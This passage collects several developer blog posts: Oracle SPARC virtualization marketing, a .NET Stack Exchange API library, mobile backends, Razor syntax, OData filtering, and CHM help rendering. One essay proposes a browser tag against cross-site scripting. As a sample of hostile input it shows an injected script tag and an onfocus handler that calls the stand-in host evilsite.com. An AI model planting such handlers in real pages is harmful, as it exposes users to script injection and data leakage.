microsecond of execution resources. Each CPU thread can be treated as an independent virtual processor. The scheduler is naturally built into the CPU for lower overhead and higher performance. Your organizations can couple Oracle Solaris Containers and Oracle VM Server for SPARC with the breakthrough space and energy savings afforded by Sun SPARC Enterprise systems with CMT technology to deliver a more agile, responsive, and low-cost environment. Management with Oracle Enterprise Manager Ops Center The Oracle Enterprise Manager Ops Center Virtualization Management Pack provides full lifecycle management of virtual guests, including Oracle VM Server for SPARC and Oracle Solaris Containers. It helps you streamline operations and reduce downtime. Together, the Virtualization Management Pack and the Ops Center Provisioning and Patch Automation Pack provide an end-to-end management solution for physical and virtual systems through a single web-based console. This solution automates the lifecycle management of physical and virtual systems and is the most effective systems management solution for Oracle's Sun infrastructure. Ease of Deployment with Configuration Assistant The Oracle VM Server for SPARC Configuration Assistant can help you easily create logical domains. After gathering the configuration data, the Configuration Assistant determines the best way to create a deployment to suit your requirements. The Configuration Assistant is available as both a graphical user interface (GUI) and terminal-based tool. Oracle Solaris Cluster HA Support The Oracle Solaris Cluster HA for Oracle VM Server for SPARC data service provides a mechanism for orderly startup and shutdown, fault monitoring and automatic failover of the Oracle VM Server guest domain service. In addition, applications that run on a logical domain, as well as its resources and dependencies can be controlled and managed independently. These are managed as if they were running in a classical Solaris Cluster hardware node. Supported Systems Oracle VM Server for SPARC is supported on all Sun SPARC Enterprise Systems with CMT technology. UltraSPARC T2 Plus Systems ·   Sun SPARC Enterprise T5140 Server ·   Sun SPARC Enterprise T5240 Server ·   Sun SPARC Enterprise T5440 Server ·   Sun Netra T5440 Server ·   Sun Blade T6340 Server Module ·   Sun Netra T6340 Server Module UltraSPARC T2 Systems ·   Sun SPARC Enterprise T5120 Server ·   Sun SPARC Enterprise T5220 Server ·   Sun Netra T5220 Server ·   Sun Blade T6320 Server Module ·   Sun Netra CP3260 ATCA Blade Server Note that UltraSPARC T1 systems are supported on earlier versions of the software.Sun SPARC Enterprise Systems with CMT technology come with the right to use (RTU) of Oracle VM Server, and the software is pre-installed. If you have the systems under warranty or with support, you can download the software and system firmware as well as their updates. Oracle Premier Support for Systems provides fully-integrated support for your server hardware, firmware, OS, and virtualization software. Visit oracle.com/support for information about Oracle's support offerings for Sun systems. For more information about Oracle's virtualization offerings, visit oracle.com/virtualization.

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• Soapi.CS : A fully relational fluent .NET Stack Exchange API client library

  - by Sky Sanders

  Soapi.CS for .Net / Silverlight / Windows Phone 7 / Mono as easy as breathing...: var context = new ApiContext(apiKey).Initialize(false); Question thisPost = context.Official .StackApps .Questions.ById(386) .WithComments(true) .First(); Console.WriteLine(thisPost.Title); thisPost .Owner .Questions .PageSize(5) .Sort(PostSort.Votes) .ToList() .ForEach(q=> { Console.WriteLine("\t" + q.Score + "\t" + q.Title); q.Timeline.ToList().ForEach(t=> Console.WriteLine("\t\t" + t.TimelineType + "\t" + t.Owner.DisplayName)); Console.WriteLine(); }); // if you can think it, you can get it. Output Soapi.CS : A fully relational fluent .NET Stack Exchange API client library 21 Soapi.CS : A fully relational fluent .NET Stack Exchange API client library Revision code poet Revision code poet Votes code poet Votes code poet Revision code poet Revision code poet Revision code poet Votes code poet Votes code poet Votes code poet Revision code poet Revision code poet Revision code poet Revision code poet Revision code poet Revision code poet Revision code poet Revision code poet Revision code poet Revision code poet Votes code poet Comment code poet Revision code poet Votes code poet Revision code poet Revision code poet Revision code poet Answer code poet Revision code poet Revision code poet 14 SOAPI-WATCH: A realtime service that notifies subscribers via twitter when the API changes in any way. Votes code poet Revision code poet Votes code poet Comment code poet Comment code poet Comment code poet Votes lfoust Votes code poet Comment code poet Comment code poet Comment code poet Comment code poet Revision code poet Comment lfoust Votes code poet Revision code poet Votes code poet Votes lfoust Votes code poet Revision code poet Comment Dave DeLong Revision code poet Revision code poet Votes code poet Comment lfoust Comment Dave DeLong Comment lfoust Comment lfoust Comment Dave DeLong Revision code poet 11 SOAPI-EXPLORE: Self-updating single page JavaSript API test harness Votes code poet Votes code poet Votes code poet Votes code poet Votes code poet Comment code poet Revision code poet Votes code poet Revision code poet Revision code poet Revision code poet Comment code poet Revision code poet Votes code poet Comment code poet Question code poet Votes code poet 11 Soapi.JS V1.0: fluent JavaScript wrapper for the StackOverflow API Comment George Edison Comment George Edison Comment George Edison Comment George Edison Comment George Edison Comment George Edison Answer George Edison Votes code poet Votes code poet Votes code poet Votes code poet Revision code poet Revision code poet Answer code poet Comment code poet Revision code poet Comment code poet Comment code poet Comment code poet Revision code poet Revision code poet Votes code poet Votes code poet Votes code poet Votes code poet Comment code poet Comment code poet Comment code poet Comment code poet Comment code poet 9 SOAPI-DIFF: Your app broke? Check SOAPI-DIFF to find out what changed in the API Votes code poet Revision code poet Comment Dennis Williamson Answer Dennis Williamson Votes code poet Votes Dennis Williamson Comment code poet Question code poet Votes code poet About A robust, fully relational, easy to use, strongly typed, end-to-end StackOverflow API Client Library. Out of the box, Soapi provides you with a robust client library that abstracts away most all of the messy details of consuming the API and lets you concentrate on implementing your ideas. A few features include: A fully relational model of the API data set exposed via a fully 'dot navigable' IEnumerable (LINQ) implementation. Simply tell Soapi what you want and it will get it for you. e.g. "On my first question, from the author of the first comment, get the first page of comments by that person on any post" my.Questions.First().Comments.First().Owner.Comments.ToList(); (yes this is a real expression that returns the data as expressed!) Full coverage of the API, all routes and all parameters with an intuitive syntax. Strongly typed Domain Data Objects for all API data structures. Eager and Lazy Loading of 'stub' objects. Eager\Lazy loading may be disabled. When finer grained control of requests is desired, the core RouteMap objects may be leveraged to request data from any of the API paths using all available parameters as documented on the help pages. A rich Asynchronous implementation. A configurable request cache to reduce unnecessary network traffic and to simplify your usage logic. There is no need to go out of your way to be frugal. You may set a distinct cache duration for any particular route. A configurable request throttle to ensure compliance with the api terms of usage and to simplify your code in that you do not have to worry about and respond to 50X errors. The RequestCache and Throttled Queue are thread-safe, so can make as many requests as you like from as many threads as you like as fast as you like and not worry about abusing the api or having to write reams of management/compensation code. Configurable retry threshold that will, by default, make up to 3 attempts to retrieve a request before failing. Every request made by Soapi is properly formed and directed so most any http error will be the result of a timeout or other network infrastructure. A retry buffer provides a level of fault tolerance that you can rely on. An almost identical javascript library, Soapi.JS, and it's full figured big brother, Soapi.JS2, that will enable you to leverage your server cycles and bandwidth for only those tasks that require it and offload things like status updates to the client's browser. License Licensed GPL Version 2 license. Why is Soapi.CS GPL? Can I get an LGPL license for Soapi.CS? (hint: probably) Platforms .NET 3.5 .NET 4.0 Silverlight 3 Silverlight 4 Windows Phone 7 Mono Download Source code lives @ http://soapics.codeplex.com. Binary releases are forthcoming. codeplex is acting up again. get the source and binaries @ http://bitbucket.org/bitpusher/soapi.cs/downloads The source is C# 3.5. and includes projects and solutions for the following IDEs Visual Studio 2008 Visual Studio 2010 ModoDevelop 2.4 Documentation Full documentation is available at http://soapi.info/help/cs/index.aspx Sample Code / Usage Examples Sample code and usage examples will be added as answers to this question. Full API Coverage all API routes are covered Full Parameter Parity If the API exposes it, Soapi giftwraps it for you. Building a simple app with Soapi.CS - a simple app that gathers all traces of a user in the whole stackiverse. Fluent Configuration - Setting up a Soapi.ApiContext could not be easier Bulk Data Import - A tiny app that quickly loads a SQLite data file with all users in the stackiverse. Paged Results - Soapi.CS transparently handles multi-page operations. Asynchronous Requests - Soapi.CS provides a rich asynchronous model that is especially useful when writing api apps in Silverlight or Windows Phone 7. Caching and Throttling - how and why Apps that use Soapi.CS Soapi.FindUser - .net utility for locating a user anywhere in the stackiverse Soapi.Explore - The entire API at your command Soapi.LastSeen - List users by last access time Add your app/site here - I know you are out there ;-) if you are not comfortable editing this post, simply add a comment and I will add it. The CS/SL/WP7/MONO libraries all compile the same code and with the exception of environmental considerations of Silverlight, the code samples are valid for all libraries. You may also find guidance in the test suites. More information on the SOAPI eco-system. Contact This library is currently the effort of me, Sky Sanders (code poet) and can be reached at gmail - sky.sanders Any who are interested in improving this library are welcome. Support Soapi You can help support this project by voting for Soapi's Open Source Ad post For more information about the origins of Soapi.CS and the rest of the Soapi eco-system see What is Soapi and why should I care?

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• Cloud MBaaS : The Next Big Thing in Enterprise Mobility

  - by shiju

  In this blog post, I will take a look at Cloud Mobile Backend as a Service (MBaaS) and how we can leverage Cloud based Mobile Backend as a Service for building enterprise mobile apps. Today, mobile apps are incredibly significant in both consumer and enterprise space and the demand for the mobile apps is unbelievably increasing in day to day business. An enterprise can’t survive in business without a proper mobility strategy. A better mobility strategy and faster delivery of your mobile apps will give you an extra mileage for your business and IT strategy. So organizations and mobile developers are looking for different strategy for meeting this demand and adopting different development strategy for their mobile apps. Some developers are adopting hybrid mobile app development platforms, for delivering their products for multiple platforms, for fast time-to-market. Others are adopting a Mobile enterprise application platform (MEAP) such as Kony for their enterprise mobile apps for fast time-to-market and better business integration. The Challenges of Enterprise Mobility The real challenge of enterprise mobile apps, is not about creating the front-end environment or developing front-end for multiple platforms. The most important thing of enterprise mobile apps is to expose your enterprise data to mobile devices where the real pain is your business data might be residing in lot of different systems including legacy systems, ERP systems etc., and these systems will be deployed with lot of security restrictions. Exposing your data from the on-premises servers, is not a easy thing for most of the business organizations. Many organizations are spending too much time for their front-end development strategy, but they are really lacking for building a strategy on their back-end for exposing the business data to mobile apps. So building a REST services layer and mobile back-end services, on the top of legacy systems and existing middleware systems, is the key part of most of the enterprise mobile apps, where multiple mobile platforms can easily consume these REST services and other mobile back-end services for building mobile apps. For some mobile apps, we can’t predict its user base, especially for products where customers can gradually increase at any time. And for today’s mobile apps, faster time-to-market is very critical so that spending too much time for mobile app’s scalability, will not be worth. The real power of Cloud is the agility and on-demand scalability, where we can scale-up and scale-down our applications very easily. It would be great if we could use the power of Cloud to mobile apps. So using Cloud for mobile apps is a natural fit, where we can use Cloud as the storage for mobile apps and hosting mechanism for mobile back-end services, where we can enjoy the full power of Cloud with greater level of on-demand scalability and operational agility. So Cloud based Mobile Backend as a Service is great choice for building enterprise mobile apps, where enterprises can enjoy the massive scalability power of their mobile apps, provided by public cloud vendors such as Microsoft Windows Azure. Mobile Backend as a Service (MBaaS) We have discussed the key challenges of enterprise mobile apps and how we can leverage Cloud for hosting mobile backend services. MBaaS is a set of cloud-based, server-side mobile services for multiple mobile platforms and HTML5 platform, which can be used as a backend for your mobile apps with the scalability power of Cloud. The information below provides the key features of a typical MBaaS platform: Cloud based storage for your application data. Automatic REST API services on the application data, for CRUD operations. Native push notification services with massive scalability power. User management services for authenticate users. User authentication via Social accounts such as Facebook, Google, Microsoft, and Twitter. Scheduler services for periodically sending data to mobile devices. Native SDKs for multiple mobile platforms such as Windows Phone and Windows Store, Android, Apple iOS, and HTML5, for easily accessing the mobile services from mobile apps, with better security.  Typically, a MBaaS platform will provide native SDKs for multiple mobile platforms so that we can easily consume the server-side mobile services. MBaaS based REST APIs can use for integrating to enterprise backend systems. We can use the same mobile services for multiple platform so hat we can reuse the application logic to multiple mobile platforms. Public cloud vendors are building the mobile services on the top of their PaaS offerings. Windows Azure Mobile Services is a great platform for a MBaaS offering that is leveraging Windows Azure Cloud platform’s PaaS capabilities. Hybrid mobile development platform Titanium provides their own MBaaS services. LoopBack is a new MBaaS service provided by Node.js consulting firm StrongLoop, which can be hosted on multiple cloud platforms and also for on-premises servers. The Challenges of MBaaS Solutions If you are building your mobile apps with a new data storage, it will be very easy, since there is not any integration challenges you have to face. But most of the use cases, you have to extract your application data in which stored in on-premises servers which might be under VPNs and firewalls. So exposing these data to your MBaaS solution with a proper security would be a big challenge. The capability of your MBaaS vendor is very important as you have to interact with your legacy systems for many enterprise mobile apps. So you should be very careful about choosing for MBaaS vendor. At the same time, you should have a proper strategy for mobilizing your application data which stored in on-premises legacy systems, where your solution architecture and strategy is more important than platforms and tools.  Windows Azure Mobile Services Windows Azure Mobile Services is an MBaaS offerings from Windows Azure cloud platform. IMHO, Microsoft Windows Azure is the best PaaS platform in the Cloud space. Windows Azure Mobile Services extends the PaaS capabilities of Windows Azure, to mobile devices, which can be used as a cloud backend for your mobile apps, which will provide global availability and reach for your mobile apps. Windows Azure Mobile Services provides storage services, user management with social network integration, push notification services and scheduler services and provides native SDKs for all major mobile platforms and HTML5. In Windows Azure Mobile Services, you can write server-side scripts in Node.js where you can enjoy the full power of Node.js including the use of NPM modules for your server-side scripts. In the previous section, we had discussed some challenges of MBaaS solutions. You can leverage Windows Azure Cloud platform for solving many challenges regarding with enterprise mobility. The entire Windows Azure platform can play a key role for working as the backend for your mobile apps where you can leverage the entire Windows Azure platform for your mobile apps. With Windows Azure, you can easily connect to your on-premises systems which is a key thing for mobile backend solutions. Another key point is that Windows Azure provides better integration with services like Active Directory, which makes Windows Azure as the de facto platform for enterprise mobility, for enterprises, who have been leveraging Microsoft ecosystem for their application and IT infrastructure. Windows Azure Mobile Services  is going to next evolution where you can expect some exciting features in near future. One area, where Windows Azure Mobile Services should definitely need an improvement, is about the default storage mechanism in which currently it is depends on SQL Server. IMHO, developers should be able to choose multiple default storage option when creating a new mobile service instance. Let’s say, there should be a different storage providers such as SQL Server storage provider and Table storage provider where developers should be able to choose their choice of storage provider when creating a new mobile services project. I have been used Windows Azure and Windows Azure Mobile Services as the backend for production apps for mobile, where it performed very well. MBaaS Over MEAP Recently, many larger enterprises has been adopted Mobile enterprise application platform (MEAP) for their mobile apps. I haven’t worked on any production MEAP solution, but I heard that developers are really struggling with MEAP in different way. The learning curve for a proprietary MEAP platform is very high. I am completely against for using larger proprietary ecosystem for mobile apps. For enterprise mobile apps, I highly recommend to use native iOS/Android/Windows Phone or HTML5  for front-end with a cloud hosted MBaaS solution as the middleware. A MBaaS service can be consumed from multiple mobile apps where REST APIs are using to integrating with enterprise backend systems. Enterprise mobility should start with exposing REST APIs on the enterprise backend systems and these REST APIs can host on Cloud where we can enjoy the power of Cloud for our services. If you are having REST APIs for your enterprise data, then you can easily build mobile frontends for multiple platforms.   You can follow me on Twitter @shijucv

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• ASP.NET MVC 3: Implicit and Explicit code nuggets with Razor

  - by ScottGu

  This is another in a series of posts I’m doing that cover some of the new ASP.NET MVC 3 features: New @model keyword in Razor (Oct 19th) Layouts with Razor (Oct 22nd) Server-Side Comments with Razor (Nov 12th) Razor’s @: and <text> syntax (Dec 15th) Implicit and Explicit code nuggets with Razor (today) In today’s post I’m going to discuss how Razor enables you to both implicitly and explicitly define code nuggets within your view templates, and walkthrough some code examples of each of them.  Fluid Coding with Razor ASP.NET MVC 3 ships with a new view-engine option called “Razor” (in addition to the existing .aspx view engine).  You can learn more about Razor, why we are introducing it, and the syntax it supports from my Introducing Razor blog post. Razor minimizes the number of characters and keystrokes required when writing a view template, and enables a fast, fluid coding workflow. Unlike most template syntaxes, you do not need to interrupt your coding to explicitly denote the start and end of server blocks within your HTML. The Razor parser is smart enough to infer this from your code. This enables a compact and expressive syntax which is clean, fast and fun to type. For example, the Razor snippet below can be used to iterate a collection of products and output a <ul> list of product names that link to their corresponding product pages: When run, the above code generates output like below: Notice above how we were able to embed two code nuggets within the content of the foreach loop.  One of them outputs the name of the Product, and the other embeds the ProductID within a hyperlink.  Notice that we didn’t have to explicitly wrap these code-nuggets - Razor was instead smart enough to implicitly identify where the code began and ended in both of these situations.  How Razor Enables Implicit Code Nuggets Razor does not define its own language.  Instead, the code you write within Razor code nuggets is standard C# or VB.  This allows you to re-use your existing language skills, and avoid having to learn a customized language grammar. The Razor parser has smarts built into it so that whenever possible you do not need to explicitly mark the end of C#/VB code nuggets you write.  This makes coding more fluid and productive, and enables a nice, clean, concise template syntax.  Below are a few scenarios that Razor supports where you can avoid having to explicitly mark the beginning/end of a code nugget, and instead have Razor implicitly identify the code nugget scope for you: Property Access Razor allows you to output a variable value, or a sub-property on a variable that is referenced via “dot” notation: You can also use “dot” notation to access sub-properties multiple levels deep: Array/Collection Indexing: Razor allows you to index into collections or arrays: Calling Methods: Razor also allows you to invoke methods: Notice how for all of the scenarios above how we did not have to explicitly end the code nugget.  Razor was able to implicitly identify the end of the code block for us. Razor’s Parsing Algorithm for Code Nuggets The below algorithm captures the core parsing logic we use to support “@” expressions within Razor, and to enable the implicit code nugget scenarios above: Parse an identifier - As soon as we see a character that isn't valid in a C# or VB identifier, we stop and move to step 2 Check for brackets - If we see "(" or "[", go to step 2.1., otherwise, go to step 3  Parse until the matching ")" or "]" (we track nested "()" and "[]" pairs and ignore "()[]" we see in strings or comments) Go back to step 2 Check for a "." - If we see one, go to step 3.1, otherwise, DO NOT ACCEPT THE "." as code, and go to step 4 If the character AFTER the "." is a valid identifier, accept the "." and go back to step 1, otherwise, go to step 4 Done! Differentiating between code and content Step 3.1 is a particularly interesting part of the above algorithm, and enables Razor to differentiate between scenarios where an identifier is being used as part of the code statement, and when it should instead be treated as static content: Notice how in the snippet above we have ? and ! characters at the end of our code nuggets.  These are both legal C# identifiers – but Razor is able to implicitly identify that they should be treated as static string content as opposed to being part of the code expression because there is whitespace after them.  This is pretty cool and saves us keystrokes. Explicit Code Nuggets in Razor Razor is smart enough to implicitly identify a lot of code nugget scenarios.  But there are still times when you want/need to be more explicit in how you scope the code nugget expression.  The @(expression) syntax allows you to do this: You can write any C#/VB code statement you want within the @() syntax.  Razor will treat the wrapping () characters as the explicit scope of the code nugget statement.  Below are a few scenarios where we could use the explicit code nugget feature: Perform Arithmetic Calculation/Modification: You can perform arithmetic calculations within an explicit code nugget: Appending Text to a Code Expression Result: You can use the explicit expression syntax to append static text at the end of a code nugget without having to worry about it being incorrectly parsed as code: Above we have embedded a code nugget within an <img> element’s src attribute.  It allows us to link to images with URLs like “/Images/Beverages.jpg”.  Without the explicit parenthesis, Razor would have looked for a “.jpg” property on the CategoryName (and raised an error).  By being explicit we can clearly denote where the code ends and the text begins. Using Generics and Lambdas Explicit expressions also allow us to use generic types and generic methods within code expressions – and enable us to avoid the <> characters in generics from being ambiguous with tag elements. One More Thing….Intellisense within Attributes We have used code nuggets within HTML attributes in several of the examples above.  One nice feature supported by the Razor code editor within Visual Studio is the ability to still get VB/C# intellisense when doing this. Below is an example of C# code intellisense when using an implicit code nugget within an <a> href=”” attribute: Below is an example of C# code intellisense when using an explicit code nugget embedded in the middle of a <img> src=”” attribute: Notice how we are getting full code intellisense for both scenarios – despite the fact that the code expression is embedded within an HTML attribute (something the existing .aspx code editor doesn’t support).  This makes writing code even easier, and ensures that you can take advantage of intellisense everywhere. Summary Razor enables a clean and concise templating syntax that enables a very fluid coding workflow.  Razor’s ability to implicitly scope code nuggets reduces the amount of typing you need to perform, and leaves you with really clean code. When necessary, you can also explicitly scope code expressions using a @(expression) syntax to provide greater clarity around your intent, as well as to disambiguate code statements from static markup. Hope this helps, Scott P.S. In addition to blogging, I am also now using Twitter for quick updates and to share links. Follow me at: twitter.com/scottgu

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• Wishful Thinking: Why can't HTML fix Script Attacks at the Source?

  - by Rick Strahl

  The Web can be an evil place, especially if you're a Web Developer blissfully unaware of Cross Site Script Attacks (XSS). Even if you are aware of XSS in all of its insidious forms, it's extremely complex to deal with all the issues if you're taking user input and you're actually allowing users to post raw HTML into an application. I'm dealing with this again today in a Web application where legacy data contains raw HTML that has to be displayed and users ask for the ability to use raw HTML as input for listings. The first line of defense of course is: Just say no to HTML input from users. If you don't allow HTML input directly and use HTML Encoding (HttyUtility.HtmlEncode() in .NET or using standard ASP.NET MVC output @Model.Content) you're fairly safe at least from the HTML input provided. Both WebForms and Razor support HtmlEncoded content, although Razor makes it the default. In Razor the default @ expression syntax:@Model.UserContent automatically produces HTML encoded content - you actually have to go out of your way to create raw HTML content (safe by default) using @Html.Raw() or the HtmlString class. In Web Forms (V4) you can use:<%: Model.UserContent %> or if you're using a version prior to 4.0:<%= HttpUtility.HtmlEncode(Model.UserContent) %> This works great as a hedge against embedded <script> tags and HTML markup as any HTML is turned into text that displays as HTML but doesn't render the HTML. But it turns any embedded HTML markup tags into plain text. If you need to display HTML in raw form with the markup tags rendering based on user input this approach is worthless. If you do accept HTML input and need to echo the rendered HTML input back, the task of cleaning up that HTML is a complex task. In the projects I work on, customers are frequently asking for the ability to post raw HTML quite frequently.  Almost every app that I've built where there's document content from users we start out with text only input - possibly using something like MarkDown - but inevitably users want to just post plain old HTML they created in some other rich editing application. See this a lot with realtors especially who often want to reuse their postings easily in multiple places. In my work this is a common problem I need to deal with and I've tried dozens of different methods from sanitizing, simple rejection of input to custom markup schemes none of which have ever felt comfortable to me. They work in a half assed, hacked together sort of way but I always live in fear of missing something vital which is *really easy to do*. My Wishlist Item: A <restricted> tag in HTML Let me dream here for a second on how to address this problem. It seems to me the easiest place where this can be fixed is: In the browser. Browsers are actually executing script code so they have a lot of control over the script code that resides in a page. What if there was a way to specify that you want to turn off script code for a block of HTML? The main issue when dealing with HTML raw input isn't that we as developers are unaware of the implications of user input, but the fact that we sometimes have to display raw HTML input the user provides. So the problem markup is usually isolated in only a very specific part of the document. So, what if we had a way to specify that in any given HTML block, no script code could execute by wrapping it into a tag that disables all script functionality in the browser? This would include <script> tags and any document script attributes like onclick, onfocus etc. and potentially also disallow things like iFrames that can potentially be scripted from the within the iFrame's target. I'd like to see something along these lines:<article> <restricted allowscripts="no" allowiframes="no"> <div>Some content</div> <script>alert('go ahead make my day, punk!");</script> <div onfocus="$.getJson('http://evilsite.com/')">more content</div> </restricted> </article> A tag like this would basically disallow all script code from firing from any HTML that's rendered within it. You'd use this only on code that you actually render from your data only and only if you are dealing with custom data. So something like this:<article> <restricted> @Html.Raw(Model.UserContent) </restricted> </article> For browsers this would actually be easy to intercept. They render the DOM and control loading and execution of scripts that are loaded through it. All the browser would have to do is suspend execution of <script> tags and not hookup any event handlers defined via markup in this block. Given all the crazy XSS attacks that exist and the prevalence of this problem this would go a long way towards preventing at least coded script attacks in the DOM. And it seems like a totally doable solution that wouldn't be very difficult to implement by vendors. There would also need to be some logic in the parser to not allow an </restricted> or <restricted> tag into the content as to short-circuit the rstricted section (per James Hart's comment). I'm sure there are other issues to consider as well that I didn't think of in my off-the-back-of-a-napkin concept here but the idea overall seems worth consideration I think. Without code running in a user supplied HTML block it'd be pretty hard to compromise a local HTML document and pass information like Cookies to a server. Or even send data to a server period. Short of an iFrame that can access the parent frame (which is another restriction that should be available on this <restricted> tag) that could potentially communicate back, there's not a lot a malicious site could do. The HTML could still 'phone home' via image links and href links potentially and basically say this site was accessed, but without the ability to run script code it would be pretty tough to pass along critical information to the server beyond that. Ahhhh… one can dream… Not holding my breath of course. The design by committee that is the W3C can't agree on anything in timeframes measured less than decades, but maybe this is one place where browser vendors can actually step up the pressure. This is something in their best interest to reduce the attack surface for vulnerabilities on their browser platforms significantly. Several people commented on Twitter today that there isn't enough discussion on issues like this that address serious needs in the web browser space. Realistically security has to be a number one concern with Web applications in general - there isn't a Web app out there that is not vulnerable. And yet nothing has been done to address these security issues even though there might be relatively easy solutions to make this happen. It'll take time, and it's probably not going to happen in our lifetime, but maybe this rambling thought sparks some ideas on how this sort of restriction can get into browsers in some way in the future.© Rick Strahl, West Wind Technologies, 2005-2012Posted in ASP.NET  HTML5  HTML  Security   Tweet !function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs"); (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/plusone.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })();

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• Pre-filtering and shaping OData feeds using WCF Data Services and the Entity Framework - Part 1

  - by rajbk

  The Open Data Protocol, referred to as OData, is a new data-sharing standard that breaks down silos and fosters an interoperative ecosystem for data consumers (clients) and producers (services) that is far more powerful than currently possible. It enables more applications to make sense of a broader set of data, and helps every data service and client add value to the whole ecosystem. WCF Data Services (previously known as ADO.NET Data Services), then, was the first Microsoft technology to support the Open Data Protocol in Visual Studio 2008 SP1. It provides developers with client libraries for .NET, Silverlight, AJAX, PHP and Java. Microsoft now also supports OData in SQL Server 2008 R2, Windows Azure Storage, Excel 2010 (through PowerPivot), and SharePoint 2010. Many other other applications in the works. * This post walks you through how to create an OData feed, define a shape for the data and pre-filter the data using Visual Studio 2010, WCF Data Services and the Entity Framework. A sample project is attached at the bottom of Part 2 of this post. Pre-filtering and shaping OData feeds using WCF Data Services and the Entity Framework - Part 2 Create the Web Application File –› New –› Project, Select “ASP.NET Empty Web Application” Add the Entity Data Model Right click on the Web Application in the Solution Explorer and select “Add New Item..” Select “ADO.NET Entity Data Model” under "Data”. Name the Model “Northwind” and click “Add”.   In the “Choose Model Contents”, select “Generate Model From Database” and click “Next”   Define a connection to your database containing the Northwind database in the next screen. We are going to expose the Products table through our OData feed. Select “Products” in the “Choose your Database Object” screen.   Click “Finish”. We are done creating our Entity Data Model. Save the Northwind.edmx file created. Add the WCF Data Service Right click on the Web Application in the Solution Explorer and select “Add New Item..” Select “WCF Data Service” from the list and call the service “DataService” (creative, huh?). Click “Add”.   Enable Access to the Data Service Open the DataService.svc.cs class. The class is well commented and instructs us on the next steps. public class DataService : DataService< /* TODO: put your data source class name here */ > { // This method is called only once to initialize service-wide policies. public static void InitializeService(DataServiceConfiguration config) { // TODO: set rules to indicate which entity sets and service operations are visible, updatable, etc. // Examples: // config.SetEntitySetAccessRule("MyEntityset", EntitySetRights.AllRead); // config.SetServiceOperationAccessRule("MyServiceOperation", ServiceOperationRights.All); config.DataServiceBehavior.MaxProtocolVersion = DataServiceProtocolVersion.V2; } } Replace the comment that starts with “/* TODO:” with “NorthwindEntities” (the entity container name of the Model we created earlier).  WCF Data Services is initially locked down by default, FTW! No data is exposed without you explicitly setting it. You have explicitly specify which Entity sets you wish to expose and what rights are allowed by using the SetEntitySetAccessRule. The SetServiceOperationAccessRule on the other hand sets rules for a specified operation. Let us define an access rule to expose the Products Entity we created earlier. We use the EnititySetRights.AllRead since we want to give read only access. Our modified code is shown below. public class DataService : DataService<NorthwindEntities> { public static void InitializeService(DataServiceConfiguration config) { config.SetEntitySetAccessRule("Products", EntitySetRights.AllRead); config.DataServiceBehavior.MaxProtocolVersion = DataServiceProtocolVersion.V2; } } We are done setting up our ODataFeed! Compile your project. Right click on DataService.svc and select “View in Browser” to see the OData feed. To view the feed in IE, you must make sure that "Feed Reading View" is turned off. You set this under Tools -› Internet Options -› Content tab.   If you navigate to “Products”, you should see the Products feed. Note also that URIs are case sensitive. ie. Products work but products doesn’t.   Filtering our data OData has a set of system query operations you can use to perform common operations against data exposed by the model. For example, to see only Products in CategoryID 2, we can use the following request: /DataService.svc/Products?$filter=CategoryID eq 2 At the time of this writing, supported operations are $orderby, $top, $skip, $filter, $expand, $format†, $select, $inlinecount. Pre-filtering our data using Query Interceptors The Product feed currently returns all Products. We want to change that so that it contains only Products that have not been discontinued. WCF introduces the concept of interceptors which allows us to inject custom validation/policy logic into the request/response pipeline of a WCF data service. We will use a QueryInterceptor to pre-filter the data so that it returns only Products that are not discontinued. To create a QueryInterceptor, write a method that returns an Expression<Func<T, bool>> and mark it with the QueryInterceptor attribute as shown below. [QueryInterceptor("Products")] public Expression<Func<Product, bool>> OnReadProducts() { return o => o.Discontinued == false; } Viewing the feed after compilation will only show products that have not been discontinued. We also confirm this by looking at the WHERE clause in the SQL generated by the entity framework. SELECT [Extent1].[ProductID] AS [ProductID], ... ... [Extent1].[Discontinued] AS [Discontinued] FROM [dbo].[Products] AS [Extent1] WHERE 0 = [Extent1].[Discontinued] Other examples of Query/Change interceptors can be seen here including an example to filter data based on the identity of the authenticated user. We are done pre-filtering our data. In the next part of this post, we will see how to shape our data. Pre-filtering and shaping OData feeds using WCF Data Services and the Entity Framework - Part 2 Foot Notes * http://msdn.microsoft.com/en-us/data/aa937697.aspx † $format did not work for me. The way to get a Json response is to include the following in the  request header “Accept: application/json, text/javascript, */*” when making the request. This is easily done with most JavaScript libraries.

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• Make your CHM Help Files show HTML5 and CSS3 content

  - by Rick Strahl

  The HTML Help 1.0 specification aka CHM files, is pretty old. In fact, it's practically ancient as it was introduced in 1997 when Internet Explorer 4 was introduced. Html Help 1.0 is basically a completely HTML based Help system that uses a Help Viewer that internally uses Internet Explorer to render the HTML Help content. Because of its use of the Internet Explorer shell for rendering there were many security issues in the past, which resulted in locking down of the Web Browser control in Windows and also the Help Engine which caused some unfortunate side effects. Even so, CHM continues to be a popular help format because it is very easy to produce content for it, using plain HTML and because it works with many Windows application platforms out of the box. While there have been various attempts to replace CHM help files CHM files still seem to be a popular choice for many applications to display their help systems. The biggest alternative these days is no system based help at all, but links to online documentation. For Windows apps though it's still very common to see CHM help files and there are still a ton of CHM help out there and lots of tools (including our own West Wind Html Help Builder) that produce output for CHM files as well as Web output. Image is Everything and you ain't got it! One problem with the CHM engine is that it's stuck with an ancient Internet Explorer version for rendering. For example if you have help content that uses HTML5 or CSS3 content you might have an HTML Help topic like the following shown here in a full Web Browser instance of Internet Explorer: The page clearly uses some CSS3 features like rounded corners and box shadows that are rendered using plain CSS 3 features. Note that I used Internet Explorer on purpose here to demonstrate that IE9 on Windows 7 can properly render this content using some of the new features of CSS, but the same is true for all other recent versions of the major browsers (FireFox 3.1+, Safari 4.5+, WebKit 9+ etc.). Unfortunately if you take this nice and simple CSS3 content and run it through the HTML Help compiler to produce a CHM file the resulting output on the same machine looks a bit less flashy: All the CSS3 styling is gone and although the page display and functionality still works, but all the extra styling features are gone. This even though I am running this on a Windows 7 machine that has IE9 that should be able to render these CSS features. Bummer. Web Browser Control - perpetually stuck in IE 7 Mode The problem is the Web Browser/Shell Components in Windows. This component is and has been part of Windows for as long as Internet Explorer has been around, but the Web Browser control hasn't kept up with the latest versions of IE. In a nutshell the control is stuck in IE7 rendering mode for engine compatibility reasons by default. However, there is at least one way to fix this explicitly using Registry keys on a per application basis. The key point from that blog article is that you can override the IE rendering engine for a particular executable 